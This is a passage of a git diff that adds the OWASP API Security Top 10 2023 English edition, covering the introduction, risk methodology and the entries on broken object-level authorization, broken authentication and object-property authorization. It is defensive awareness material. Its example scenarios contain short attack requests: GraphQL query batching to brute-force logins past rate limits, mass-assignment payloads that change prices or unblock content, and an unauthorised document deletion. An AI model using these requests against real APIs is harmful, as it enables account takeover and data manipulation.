a/2019/ru/src/0xd0-about-data.md b/editions/2019/ru/0xd0-about-data.md similarity index 98% rename from 2019/ru/src/0xd0-about-data.md rename to editions/2019/ru/0xd0-about-data.md index d4e7e730b..4c2522eee 100644 --- a/2019/ru/src/0xd0-about-data.md +++ b/editions/2019/ru/0xd0-about-data.md @@ -1,5 +1,4 @@ -Методология и данные -==================== +# Методология и данные ## Обзор diff --git a/2019/ru/src/0xd1-acknowledgments.md b/editions/2019/ru/0xd1-acknowledgments.md similarity index 94% rename from 2019/ru/src/0xd1-acknowledgments.md rename to editions/2019/ru/0xd1-acknowledgments.md index f06490b51..b446870e4 100644 --- a/2019/ru/src/0xd1-acknowledgments.md +++ b/editions/2019/ru/0xd1-acknowledgments.md @@ -1,5 +1,4 @@ -Благодарность -=============== +# Благодарность ## Благодарность участникам diff --git a/2019/ru/dist/owasp-api-security-top-10.odt b/editions/2019/ru/dist/owasp-api-security-top-10.odt similarity index 100% rename from 2019/ru/dist/owasp-api-security-top-10.odt rename to editions/2019/ru/dist/owasp-api-security-top-10.odt diff --git a/2019/ru/dist/owasp-api-security-top-10.pdf b/editions/2019/ru/dist/owasp-api-security-top-10.pdf similarity index 100% rename from 2019/ru/dist/owasp-api-security-top-10.pdf rename to editions/2019/ru/dist/owasp-api-security-top-10.pdf diff --git a/editions/2019/ru/images/cover.jpg b/editions/2019/ru/images/cover.jpg new file mode 100644 index 000000000..5ef93f221 Binary files /dev/null and b/editions/2019/ru/images/cover.jpg differ diff --git a/editions/2019/ru/images/front-cc.png b/editions/2019/ru/images/front-cc.png new file mode 100644 index 000000000..45f139804 Binary files /dev/null and b/editions/2019/ru/images/front-cc.png differ diff --git a/editions/2019/ru/images/front-wasp.png b/editions/2019/ru/images/front-wasp.png new file mode 100644 index 000000000..5a163dd4b Binary files /dev/null and b/editions/2019/ru/images/front-wasp.png differ diff --git a/editions/2019/ru/images/license.png b/editions/2019/ru/images/license.png new file mode 100644 index 000000000..124d3ba4d Binary files /dev/null and b/editions/2019/ru/images/license.png differ diff --git a/editions/2019/ru/images/owasp-logo.png b/editions/2019/ru/images/owasp-logo.png new file mode 100644 index 000000000..caeb47bdf Binary files /dev/null and b/editions/2019/ru/images/owasp-logo.png differ diff --git a/editions/2023/en/0x00-header.md b/editions/2023/en/0x00-header.md new file mode 100644 index 000000000..d3936a8b2 --- /dev/null +++ b/editions/2023/en/0x00-header.md @@ -0,0 +1,14 @@ +--- +title: '' +description: OWASP API Security Top 10 2023 edition +--- + +![OWASP LOGO](images/cover.jpg) + +| | | | +| - | - | - | +| https://owasp.org | This work is licensed under a [Creative Commons Attribution-ShareAlike 4.0 International License][1] | ![Creative Commons License Logo](images/front-cc.png) | + +[1]: http://creativecommons.org/licenses/by-sa/4.0/ + + diff --git a/editions/2023/en/0x00-notice.md b/editions/2023/en/0x00-notice.md new file mode 100644 index 000000000..c40368695 --- /dev/null +++ b/editions/2023/en/0x00-notice.md @@ -0,0 +1,14 @@ +# Notice + +This is the text version of OWASP API Security Top 10, used as source for any +official versions of this document such the web site. + +Contributions to the project such as comments, corrections, or translations +should be done here. For details on [How To Contribute][1], please refer to +[CONTRIBUTING.md][1]. + +* Erez Yallon +* Inon Shkedy +* Paulo Silva + +[1]: ../../../CONTRIBUTING.md diff --git a/editions/2023/en/0x00-toc.md b/editions/2023/en/0x00-toc.md new file mode 100644 index 000000000..ca93bd5ba --- /dev/null +++ b/editions/2023/en/0x00-toc.md @@ -0,0 +1,23 @@ +# Table of Contents + +* [Table of Contents](0x00-toc.md) +* [About OWASP](0x01-about-owasp.md) +* [Foreword](0x02-foreword.md) +* [Introduction](0x03-introduction.md) +* [Release Notes](0x04-release-notes.md) +* [API Security Risks](0x10-api-security-risks.md) +* [OWASP Top 10 API Security Risks – 2023](0x11-t10.md) +* [API1:2023 Broken Object Level Authorization](0xa1-broken-object-level-authorization.md) +* [API2:2023 Broken Authentication](0xa2-broken-authentication.md) +* [API3:2023 Broken Object Property Level Authorization](0xa3-broken-object-property-level-authorization.md) +* [API4:2023 Unrestricted Resource Consumption](0xa4-unrestricted-resource-consumption.md) +* [API5:2023 Broken Function Level Authorization](0xa5-broken-function-level-authorization.md) +* [API6:2023 Unrestricted Access to Sensitive Business Flows](0xa6-unrestricted-access-to-sensitive-business-flows.md) +* [API7:2023 Server Side Request Forgery](0xa7-server-side-request-forgery.md) +* [API8:2023 Security Misconfiguration](0xa8-security-misconfiguration.md) +* [API9:2023 Improper Inventory Management](0xa9-improper-inventory-management.md) +* [API10:2023 Unsafe Consumption of APIs](0xaa-unsafe-consumption-of-apis.md) +* [What's Next For Developers](0xb0-next-devs.md) +* [What's Next For DevSecOps](0xb1-next-devsecops.md) +* [Methodology and Data](0xd0-about-data.md) +* [Acknowledgments](0xd1-acknowledgments.md) diff --git a/editions/2023/en/0x01-about-owasp.md b/editions/2023/en/0x01-about-owasp.md new file mode 100644 index 000000000..1a7e05126 --- /dev/null +++ b/editions/2023/en/0x01-about-owasp.md @@ -0,0 +1,59 @@ +# About OWASP + +The Open Worldwide Application Security Project (OWASP) is an open community +dedicated to enabling organizations to develop, purchase, and maintain +applications and APIs that can be trusted. + +At OWASP, you'll find free and open: + +* Application security tools and standards. +* Complete books on application security testing, secure code development, and + secure code review. +* Presentations and [videos][1]. +* [Cheat sheets][2] on many common topics. +* Standard security controls and libraries. +* [Local chapters worldwide][3]. +* Cutting edge research. +* Extensive [conferences worldwide][4]. +* [Mailing lists][5] ([archive][6]). + +Learn more at: [https://www.owasp.org][7]. + +All OWASP tools, documents, videos, presentations, and chapters are free and +open to anyone interested in improving application security. + +We advocate approaching application security as a people, process, and +technology problem, because the most effective approaches to application +security require improvements in these areas. + +OWASP is a new kind of organization. Our freedom from commercial pressures +allows us to provide unbiased, practical, and cost-effective information about +application security. + +OWASP is not affiliated with any technology company, although we support the +informed use of commercial security technology. OWASP produces many types of +materials in a collaborative, transparent, and open way. + +The OWASP Foundation is the non-profit entity that ensures the project's +long-term success. Almost everyone associated with OWASP is a volunteer, +including the OWASP board, chapter leaders, project leaders, and project +members. We support innovative security research with grants and infrastructure. + +Come join us! + +## Copyright and License + +![license](images/license.png) + +Copyright © 2003-2023 The OWASP Foundation. This document is released under the +[Creative Commons Attribution Share-Alike 4.0 license][8]. For any reuse or +distribution, you must make it clear to others the license terms of this work. + +[1]: https://www.youtube.com/user/OWASPGLOBAL +[2]: https://cheatsheetseries.owasp.org/ +[3]: https://owasp.org/chapters/ +[4]: https://owasp.org/events/ +[5]: https://groups.google.com/a/owasp.org/forum/#!overview +[6]: https://lists.owasp.org/mailman/listinfo +[7]: https://www.owasp.org +[8]: http://creativecommons.org/licenses/by-sa/4.0/ diff --git a/editions/2023/en/0x02-foreword.md b/editions/2023/en/0x02-foreword.md new file mode 100644 index 000000000..944acfc82 --- /dev/null +++ b/editions/2023/en/0x02-foreword.md @@ -0,0 +1,43 @@ +# Foreword + +A foundational element of innovation in today's app-driven world is the +Application Programming Interface (API). From banks, retail, and transportation +to IoT, autonomous vehicles, and smart cities, APIs are a critical part of +modern mobile, SaaS, and web applications and can be found in customer-facing, +partner-facing, and internal applications. + +By nature, APIs expose application logic and sensitive data such as Personally +Identifiable Information (PII) and because of this, APIs have increasingly +become a target for attackers. Without secure APIs, rapid innovation would be +impossible. + +Although a broader web application security risks Top 10 still makes sense, due +to their particular nature, an API-specific security risks list is required. +API security focuses on strategies and solutions to understand and mitigate the +unique vulnerabilities and security risks associated with APIs. + +If you're familiar with the [OWASP Top 10 Project][1], then you'll notice the +similarities between both documents: they are intended for readability and +adoption. If you're new to the OWASP Top 10 series, you may be better off +reading the [API Security Risks][2] and [Methodology and Data][3] sections +before jumping into the Top 10 list. + +You can contribute to OWASP API Security Top 10 with your questions, comments, +and ideas at our GitHub project repository: + +* https://owasp.org/www-project-api-security/ +* https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md + +You can find the OWASP API Security Top 10 here: + +* https://owasp.org/www-project-api-security/ +* https://github.com/OWASP/API-Security + +We wish to thank all the contributors who made this project possible with their +effort and contributions. They are all listed in the [Acknowledgments +section][4]. Thank you! + +[1]: https://owasp.org/www-project-top-ten/ +[2]: ./0x10-api-security-risks.md +[3]: ./0xd0-about-data.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2023/en/0x03-introduction.md b/editions/2023/en/0x03-introduction.md new file mode 100644 index 000000000..752492b1f --- /dev/null +++ b/editions/2023/en/0x03-introduction.md @@ -0,0 +1,61 @@ +# Introduction + +## Welcome to the OWASP API Security Top 10 - 2023! + +Welcome to the second edition of the OWASP API Security Top 10! + +This awareness document was first published back in 2019. Since then, the API +Security industry has flourished and become more mature. We strongly believe +this work has positively contributed to it, due to it being quickly adopted as +an industry reference. + +APIs play a very important role in modern application architecture. But since +innovation has a different pace than creating security awareness, we believe +it's important to focus on creating awareness for common API security +weaknesses. + +The primary goal of the OWASP API Security Top 10 is to educate those involved +in API development and maintenance, for example, developers, designers, +architects, managers, or organizations. You can know more about the API Security +Project visiting [the project page][1]. + +If you're not familiar with the OWASP top 10 series, we recommend checking at +least the following top 10 projects: + +* [OWASP Cloud-Native Application Security Top 10][2] +* [OWASP Desktop App Security Top 10][3] +* [OWASP Docker Top 10][4] +* [OWASP Low-Code/No-Code Top 10][5] +* [OWASP Machine Learning Security Top Ten][6] +* [OWASP Mobile Top 10][7] +* [OWASP TOP 10][8] +* [OWASP Top 10 CI/CD Security Risks][9] +* [OWASP Top 10 Client-Side Security Risks][10] +* [OWASP Top 10 Privacy Risks][11] +* [OWASP Serverless Top 10][12] + +None of the projects replaces another: if you're working on a mobile application +powered by a back-end API, you're better off reading both the corresponding top +10's. The same is valid if you're working on a web or desktop application +powered by APIs. + +In the [Methodology and Data][13] section, you can read more about how this +edition was created. For now, we encourage everyone to contribute with +questions, comments, and ideas at our [GitHub repository][14] or +[Mailing list][15]. + +[1]: https://owasp.org/www-project-api-security/ +[2]: https://owasp.org/www-project-cloud-native-application-security-top-10/ +[3]: https://owasp.org/www-project-desktop-app-security-top-10/ +[4]: https://owasp.org/www-project-docker-top-10/ +[5]: https://owasp.org/www-project-top-10-low-code-no-code-security-risks/ +[6]: https://owasp.org/www-project-machine-learning-security-top-10/ +[7]: https://owasp.org/www-project-mobile-top-10/ +[8]: https://owasp.org/www-project-top-ten/ +[9]: https://owasp.org/www-project-top-10-ci-cd-security-risks/ +[10]: https://owasp.org/www-project-top-10-client-side-security-risks/ +[11]: https://owasp.org/www-project-top-10-privacy-risks/ +[12]: https://owasp.org/www-project-serverless-top-10/ +[13]: ./0xd0-about-data.md +[14]: https://github.com/OWASP/API-Security +[15]: https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project diff --git a/editions/2023/en/0x04-release-notes.md b/editions/2023/en/0x04-release-notes.md new file mode 100644 index 000000000..bff6dc01c --- /dev/null +++ b/editions/2023/en/0x04-release-notes.md @@ -0,0 +1,47 @@ +# Release Notes + +This is the second edition of the OWASP API Security Top 10 edition, exactly +four years after its first release. A lot has changed in the API (security) +scene. API traffic increased at a fast pace, some API protocols gained a lot +more traction, many new API security vendors/solutions have popped up, and, of +course, attackers have developed new skills and techniques to compromise +APIs. It was about time to get the list of the ten most critical API security +risks updated. + +With a more mature API security industry, for the first time, there was [a +public call for data][1]. Unfortunately, no data was contributed, but based on +the project's team experience, careful API security specialist review, and +community feedback on the release candidate, we built this new list. In the +[Methodology and Data section][2], you'll find more details about how this +version was built. For more details about the security risks please refer to the +[API Security Risks section][3]. + +The OWASP API Security Top 10 2023 is a forward-looking awareness document for +a fast pace industry. It does not replace other TOP 10's. In this edition: + +* We've combined Excessive Data Exposure and Mass Assignment focusing on the + common root cause: object property level authorization validation failures. +* We've put more emphasis on resource consumption, over focusing on the pace + they are exhausted. +* We've created a new category "Unrestricted Access to Sensitive Business Flows" + to address new threats, including most of those that can be mitigated using + rate limiting. +* We added "Unsafe Consumption of APIs" to address something we've started + seeing: attackers have started looking for a target's integrated services to + compromise those, instead of hitting the APIs of their target directly. This + is the right time to start creating awareness about this increasing risk. + +APIs play an increasingly important role in modern microservices architecture, +Single Page Applications (SPAs), mobile apps, IoT, etc. The OWASP API Security +Top 10 is a required effort to create awareness about modern API security +issues. + +This update was only possible due to the great effort of several volunteers, +listed in the [Acknowledgments][4] section. + +Thank you! + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: ./0xd0-about-data.md +[3]: ./0x10-api-security-risks.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2023/en/0x10-api-security-risks.md b/editions/2023/en/0x10-api-security-risks.md new file mode 100644 index 000000000..c9d284b14 --- /dev/null +++ b/editions/2023/en/0x10-api-security-risks.md @@ -0,0 +1,47 @@ +# API Security Risks + +The [OWASP Risk Rating Methodology][1] was used to do the risk analysis. + +The table below summarizes the terminology associated with the risk score. + +| Threat Agents | Exploitability | Weakness Prevalence | Weakness Detectability | Technical Impact | Business Impacts | +| :-: | :-: | :-: | :-: | :-: | :-: | +| API Specific | Easy: **3** | Widespread **3** | Easy **3** | Severe **3** | Business Specific | +| API Specific | Average: **2** | Common **2** | Average **2** | Moderate **2** | Business Specific | +| API Specific | Difficult: **1** | Difficult **1** | Difficult **1** | Minor **1** | Business Specific | + +**Note**: This approach does not take the likelihood of the threat agent into +account. Nor does it account for any of the various technical details associated +with your particular application. Any of these factors could significantly +affect the overall likelihood of an attacker finding and exploiting a particular +vulnerability. This rating does not take into account the actual impact on your +business. Your organization will have to decide how much security risk from +applications and APIs the organization is willing to accept given your culture, +industry, and regulatory environment. The purpose of the OWASP API Security Top +10 is not to do this risk analysis for you. Since this edition is not +data-driven, prevalence results from a consensus among the team members. + +## References + +### OWASP + +* [OWASP Risk Rating Methodology][1] +* [Article on Threat/Risk Modeling][2] + +### External + +* [ISO 31000: Risk Management Std][3] +* [ISO 27001: ISMS][4] +* [NIST Cyber Framework (US)][5] +* [ASD Strategic Mitigations (AU)][6] +* [NIST CVSS 3.0][7] +* [Microsoft Threat Modeling Tool][8] + +[1]: https://owasp.org/www-project-risk-assessment-framework/ +[2]: https://owasp.org/www-community/Threat_Modeling +[3]: https://www.iso.org/iso-31000-risk-management.html +[4]: https://www.iso.org/isoiec-27001-information-security.html +[5]: https://www.nist.gov/cyberframework +[6]: https://www.asd.gov.au/infosec/mitigationstrategies.htm +[7]: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator +[8]: https://www.microsoft.com/en-us/download/details.aspx?id=49168 diff --git a/editions/2023/en/0x11-t10.md b/editions/2023/en/0x11-t10.md new file mode 100644 index 000000000..230cc8c72 --- /dev/null +++ b/editions/2023/en/0x11-t10.md @@ -0,0 +1,28 @@ +# OWASP Top 10 API Security Risks – 2023 + +| Risk | Description | +| ---- | ----------- | +| [API1:2023 - Broken Object Level Authorization][api1] | APIs tend to expose endpoints that handle object identifiers, creating a wide attack surface of Object Level Access Control issues. Object level authorization checks should be considered in every function that accesses a data source using an ID from the user. | +| [API2:2023 - Broken Authentication][api2] | Authentication mechanisms are often implemented incorrectly, allowing attackers to compromise authentication tokens or to exploit implementation flaws to assume other user's identities temporarily or permanently. Compromising a system's ability to identify the client/user, compromises API security overall. | +| [API3:2023 - Broken Object Property Level Authorization][api3] | This category combines [API3:2019 Excessive Data Exposure][1] and [API6:2019 - Mass Assignment][2], focusing on the root cause: the lack of or improper authorization validation at the object property level. This leads to information exposure or manipulation by unauthorized parties. | +| [API4:2023 - Unrestricted Resource Consumption][api4] | Satisfying API requests requires resources such as network bandwidth, CPU, memory, and storage. Other resources such as emails/SMS/phone calls or biometrics validation are made available by service providers via API integrations, and paid for per request. Successful attacks can lead to Denial of Service or an increase of operational costs. | +| [API5:2023 - Broken Function Level Authorization][api5] | Complex access control policies with different hierarchies, groups, and roles, and an unclear separation between administrative and regular functions, tend to lead to authorization flaws. By exploiting these issues, attackers can gain access to other users’ resources and/or administrative functions. | +| [API6:2023 - Unrestricted Access to Sensitive Business Flows][api6] | APIs vulnerable to this risk expose a business flow - such as buying a ticket, or posting a comment - without compensating for how the functionality could harm the business if used excessively in an automated manner. This doesn't necessarily come from implementation bugs. | +| [API7:2023 - Server Side Request Forgery][api7] | Server-Side Request Forgery (SSRF) flaws can occur when an API is fetching a remote resource without validating the user-supplied URI. This enables an attacker to coerce the application to send a crafted request to an unexpected destination, even when protected by a firewall or a VPN. | +| [API8:2023 - Security Misconfiguration][api8] | APIs and the systems supporting them typically contain complex configurations, meant to make the APIs more customizable. Software and DevOps engineers can miss these configurations, or don't follow security best practices when it comes to configuration, opening the door for different types of attacks. | +| [API9:2023 - Improper Inventory Management][api9] | APIs tend to expose more endpoints than traditional web applications, making proper and updated documentation highly important. A proper inventory of hosts and deployed API versions also are important to mitigate issues such as deprecated API versions and exposed debug endpoints. | +| [API10:2023 - Unsafe Consumption of APIs][api10] | Developers tend to trust data received from third-party APIs more than user input, and so tend to adopt weaker security standards. In order to compromise APIs, attackers go after integrated third-party services instead of trying to compromise the target API directly. | + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://owasp.org/API-Security/editions/2019/en/0xa4-lack-of-resources-and-rate-limiting/ +[api1]: 0xa1-broken-object-level-authorization.md +[api2]: 0xa2-broken-authentication.md +[api3]: 0xa3-broken-object-property-level-authorization.md +[api4]: 0xa4-unrestricted-resource-consumption.md +[api5]: 0xa5-broken-function-level-authorization.md +[api6]: 0xa6-unrestricted-access-to-sensitive-business-flows.md +[api7]: 0xa7-server-side-request-forgery.md +[api8]: 0xa8-security-misconfiguration.md +[api9]: 0xa9-improper-inventory-management.md +[api10]: 0xaa-unsafe-consumption-of-apis.md diff --git a/editions/2023/en/0xa1-broken-object-level-authorization.md b/editions/2023/en/0xa1-broken-object-level-authorization.md new file mode 100644 index 000000000..be629d9c8 --- /dev/null +++ b/editions/2023/en/0xa1-broken-object-level-authorization.md @@ -0,0 +1,108 @@ +# API1:2023 Broken Object Level Authorization + +| Threat agents/Attack vectors | Security Weakness | Impacts | +| - | - | - | +| API Specific : Exploitability **Easy** | Prevalence **Widespread** : Detectability **Easy** | Technical **Moderate** : Business Specific | +| Attackers can exploit API endpoints that are vulnerable to broken object-level authorization by manipulating the ID of an object that is sent within the request. Object IDs can be anything from sequential integers, UUIDs, or generic strings. Regardless of the data type, they are easy to identify in the request target (path or query string parameters), request headers, or even as part of the request payload. | This issue is extremely common in API-based applications because the server component usually does not fully track the client’s state, and instead, relies more on parameters like object IDs, that are sent from the client to decide which objects to access. The server response is usually enough to understand whether the request was successful. | Unauthorized access to other users’ objects can result in data disclosure to unauthorized parties, data loss, or data manipulation. Under certain circumstances, unauthorized access to objects can also lead to full account takeover. | + +## Is the API Vulnerable? + +Object level authorization is an access control mechanism that is usually +implemented at the code level to validate that a user can only access the +objects that they should have permissions to access. + +Every API endpoint that receives an ID of an object, and performs any action +on the object, should implement object-level authorization checks. The checks +should validate that the logged-in user has permissions to perform the +requested action on the requested object. + +Failures in this mechanism typically lead to unauthorized information +disclosure, modification, or destruction of all data. + +Comparing the user ID of the current session (e.g. by extracting it from the +JWT token) with the vulnerable ID parameter isn't a sufficient solution to +solve Broken Object Level Authorization (BOLA). This approach could address +only a small subset of cases. + +In the case of BOLA, it's by design that the user will have access to the +vulnerable API endpoint/function. The violation happens at the object level, +by manipulating the ID. If an attacker manages to access an API +endpoint/function they should not have access to - this is a case of [Broken +Function Level Authorization][5] (BFLA) rather than BOLA. + +## Example Attack Scenarios + +### Scenario #1 + +An e-commerce platform for online stores (shops) provides a listing page with +the revenue charts for their hosted shops. Inspecting the browser requests, an +attacker can identify the API endpoints used as a data source for those charts +and their pattern: `/shops/{shopName}/revenue_data.json`. Using another API +endpoint, the attacker can get the list of all hosted shop names. With a +simple script to manipulate the names in the list, replacing `{shopName}` in +the URL, the attacker gains access to the sales data of thousands of e-commerce +stores. + +### Scenario #2 + +An automobile manufacturer has enabled remote control of its vehicles via a +mobile API for communication with the driver's mobile phone. The API enables +the driver to remotely start and stop the engine and lock and unlock the doors. +As part of this flow, the user sends the Vehicle Identification Number (VIN) to +the API. +The API fails to validate that the VIN represents a vehicle that belongs to the +logged in user, which leads to a BOLA vulnerability. An attacker can access +vehicles that don't belong to him. + +### Scenario #3 + +An online document storage service allows users to view, edit, store and delete +their documents. When a user's document is deleted, a GraphQL mutation with the +document ID is sent to the API. + +``` +POST /graphql +{ + "operationName":"deleteReports", + "variables":{ + "reportKeys":[""] + }, + "query":"mutation deleteReports($siteId: ID!, $reportKeys: [String]!) { + { + deleteReports(reportKeys: $reportKeys) + } + }" +} +``` + +Since the document with the given ID is deleted without any further permission +checks, a user may be able to delete another user's document. + +## How To Prevent + +* Implement a proper authorization mechanism that relies on the user policies + and hierarchy. +* Use the authorization mechanism to check if the logged-in user has access to + perform the requested action on the record in every function that uses an + input from the client to access a record in the database. +* Prefer the use of random and unpredictable values as GUIDs for records' IDs. +* Write tests to evaluate the vulnerability of the authorization mechanism. Do + not deploy changes that make the tests fail. + +## References + +### OWASP + +* [Authorization Cheat Sheet][1] +* [Authorization Testing Automation Cheat Sheet][2] + +### External + +* [CWE-285: Improper Authorization][3] +* [CWE-639: Authorization Bypass Through User-Controlled Key][4] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/285.html +[4]: https://cwe.mitre.org/data/definitions/639.html +[5]: ./0xa5-broken-function-level-authorization.md diff --git a/editions/2023/en/0xa2-broken-authentication.md b/editions/2023/en/0xa2-broken-authentication.md new file mode 100644 index 000000000..a02822f90 --- /dev/null +++ b/editions/2023/en/0xa2-broken-authentication.md @@ -0,0 +1,134 @@ +# API2:2023 Broken Authentication + +| Threat agents/Attack vectors | Security Weakness | Impacts | +| - | - | - | +| API Specific : Exploitability **Easy** | Prevalence **Common** : Detectability **Easy** | Technical **Severe** : Business Specific | +| The authentication mechanism is an easy target for attackers since it's exposed to everyone. Although more advanced technical skills may be required to exploit some authentication issues, exploitation tools are generally available. | Software and security engineers’ misconceptions regarding authentication boundaries and inherent implementation complexity make authentication issues prevalent. Methodologies of detecting broken authentication are available and easy to create. | Attackers can gain complete control of other users’ accounts in the system, read their personal data, and perform sensitive actions on their behalf. Systems are unlikely to be able to distinguish attackers’ actions from legitimate user ones. | + +## Is the API Vulnerable? + +Authentication endpoints and flows are assets that need to be protected. +Additionally, "Forgot password / reset password" should be treated the same way +as authentication mechanisms. + +An API is vulnerable if it: + +* Permits credential stuffing where the attacker uses brute force with a list + of valid usernames and passwords. +* Permits attackers to perform a brute force attack on the same user account, + without presenting captcha/account lockout mechanism. +* Permits weak passwords. +* Sends sensitive authentication details, such as auth tokens and passwords in + the URL. +* Allows users to change their email address, current password, or do any other + sensitive operations without asking for password confirmation. +* Doesn't validate the authenticity of tokens. +* Accepts unsigned/weakly signed JWT tokens (`{"alg":"none"}`) +* Doesn't validate the JWT expiration date. +* Uses plain text, non-encrypted, or weakly hashed passwords. +* Uses weak encryption keys. + +On top of that, a microservice is vulnerable if: + +* Other microservices can access it without authentication +* Uses weak or predictable tokens to enforce authentication + +## Example Attack Scenarios + +## Scenario #1 + +In order to perform user authentication the client has to issue an API request +like the one below with the user credentials: + +``` +POST /graphql +{ + "query":"mutation { + login (username:\"\",password:\"\") { + token + } + }" +} +``` + +If credentials are valid, then an auth token is returned which should be +provided in subsequent requests to identify the user. Login attempts are +subject to restrictive rate limiting: only three requests are allowed per +minute. + +To brute force log in with a victim's account, bad actors leverage GraphQL +query batching to bypass the request rate limiting, speeding up the attack: + +``` +POST /graphql +[ + {"query":"mutation{login(username:\"victim\",password:\"password\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"123456\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"qwerty\"){token}}"}, + ... + {"query":"mutation{login(username:\"victim\",password:\"123\"){token}}"}, +] +``` + +## Scenario #2 + +In order to update the email address associated with a user's account, clients +should issue an API request like the one below: + +``` +PUT /account +Authorization: Bearer + +{ "email": "" } +``` + +Because the API does not require users to confirm their identity by providing +their current password, bad actors able to put themselves in a position to +steal the auth token might be able to take over the victim's account by starting +the reset password workflow after updating the email address of the victim's +account. + +## How To Prevent + +* Make sure you know all the possible flows to authenticate to the API + (mobile/ web/deep links that implement one-click authentication/etc.). Ask + your engineers what flows you missed. +* Read about your authentication mechanisms. Make sure you understand what and + how they are used. OAuth is not authentication, and neither are API keys. +* Don't reinvent the wheel in authentication, token generation, or password + storage. Use the standards. +* Credential recovery/forgot password endpoints should be treated as login + endpoints in terms of brute force, rate limiting, and lockout protections. +* Require re-authentication for sensitive operations (e.g. changing the account + owner email address/2FA phone number). +* Use the [OWASP Authentication Cheatsheet][1]. +* Where possible, implement multi-factor authentication. +* Implement anti-brute force mechanisms to mitigate credential stuffing, + dictionary attacks, and brute force attacks on your authentication endpoints. + This mechanism should be stricter than the regular rate limiting mechanisms + on your APIs. +* Implement [account lockout][2]/captcha mechanisms to prevent brute force + attacks against specific users. Implement weak-password checks. +* API keys should not be used for user authentication. They should only be used + for [API clients][3] authentication. + +## References + +### OWASP + +* [Authentication Cheat Sheet][1] +* [Key Management Cheat Sheet][4] +* [Credential Stuffing][5] + +### External + +* [CWE-204: Observable Response Discrepancy][6] +* [CWE-307: Improper Restriction of Excessive Authentication Attempts][7] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism(OTG-AUTHN-003) +[3]: https://cloud.google.com/endpoints/docs/openapi/when-why-api-key +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html +[5]: https://owasp.org/www-community/attacks/Credential_stuffing +[6]: https://cwe.mitre.org/data/definitions/204.html +[7]: https://cwe.mitre.org/data/definitions/307.html diff --git a/editions/2023/en/0xa3-broken-object-property-level-authorization.md b/editions/2023/en/0xa3-broken-object-property-level-authorization.md new file mode 100644 index 000000000..172e75d3b --- /dev/null +++ b/editions/2023/en/0xa3-broken-object-property-level-authorization.md @@ -0,0 +1,151 @@ +# API3:2023 Broken Object Property Level Authorization + +| Threat agents/Attack vectors | Security Weakness | Impacts | +| - | - | - | +| API Specific : Exploitability **Easy** | Prevalence **Common** : Detectability **Easy** | Technical **Moderate** : Business Specific | +| APIs tend to expose endpoints that return all object’s properties. This is particularly valid for REST APIs. For other protocols such as GraphQL, it may require crafted requests to specify which properties should be returned. Identifying these additional properties that can be manipulated requires more effort, but there are a few automated tools available to assist in this task. | Inspecting API responses is enough to identify sensitive information in returned objects’ representations. Fuzzing is usually used to identify additional (hidden) properties. Whether they can be changed is a matter of crafting an API request and analyzing the response. Side-effect analysis may be required if the target property is not returned in the API response. | Unauthorized access to private/sensitive object properties may result in data disclosure, data loss, or data corruption. Under certain circumstances, unauthorized access to object properties can lead to privilege escalation or partial/full account takeover. | + +## Is the API Vulnerable? + +When allowing a user to access an object using an API endpoint, it is important +to validate that the user has access to the specific object properties they are +trying to access. + +An API endpoint is vulnerable if: + +* The API endpoint exposes properties of an object that are considered + sensitive and should not be read by the user. (previously named: "[Excessive + Data Exposure][1]") +* The API endpoint allows a user to change, add/or delete the value of a + sensitive object's property which the user should not be able to access + (previously named: "[Mass Assignment][2]") + +## Example Attack Scenarios + +### Scenario #1 + +A dating app allows a user to report other users for inappropriate behavior. +As part of this flow, the user clicks on a "report" button, and the following +API call is triggered: + +``` +POST /graphql +{ + "operationName":"reportUser", + "variables":{ + "userId": 313, + "reason":["offensive behavior"] + }, + "query":"mutation reportUser($userId: ID!, $reason: String!) { + reportUser(userId: $userId, reason: $reason) { + status + message + reportedUser { + id + fullName + recentLocation + } + } + }" +} +``` + +The API Endpoint is vulnerable since it allows the authenticated user to have +access to sensitive (reported) user object properties, such as "fullName" and +"recentLocation" that are not supposed to be accessed by other users. + +### Scenario #2 + +An online marketplace platform, that offers one type of users ("hosts") to rent +out their apartment to another type of users ("guests"), requires the host to +accept a booking made by a guest, before charging the guest for the stay. + +As part of this flow, an API call is sent by the host to +`POST /api/host/approve_booking` with the following legitimate payload: + +``` +{ + "approved": true, + "comment": "Check-in is after 3pm" +} +``` + +The host replays the legitimate request, and adds the following malicious +payload: + +``` +{ + "approved": true, + "comment": "Check-in is after 3pm", + "total_stay_price": "$1,000,000" +} +``` + +The API endpoint is vulnerable because there is no validation that the host +should have access to the internal object property - `total_stay_price`, and +the guest will be charged more than she was supposed to be. + +### Scenario #3 + +A social network that is based on short videos, enforces restrictive content +filtering and censorship. Even if an uploaded video is blocked, the user can +change the description of the video using the following API request: + +``` +PUT /api/video/update_video + +{ + "description": "a funny video about cats" +} +``` + +A frustrated user can replay the legitimate request, and add the following +malicious payload: + +``` +{ + "description": "a funny video about cats", + "blocked": false +} +``` + +The API endpoint is vulnerable because there is no validation if the user +should have access to the internal object property - `blocked`, and the user +can change the value from `true` to `false` and unlock their own blocked +content. + +## How To Prevent + +* When exposing an object using an API endpoint, always make sure that the user + should have access to the object's properties you expose. +* Avoid using generic methods such as `to_json()` and `to_string()`. Instead, + cherry-pick specific object properties you specifically want to return. +* If possible, avoid using functions that automatically bind a client's input + into code variables, internal objects, or object properties + ("Mass Assignment"). +* Allow changes only to the object's properties that should be updated by the + client. +* Implement a schema-based response validation mechanism as an extra layer of + security. As part of this mechanism, define and enforce data returned by all + API methods. +* Keep returned data structures to the bare minimum, according to the + 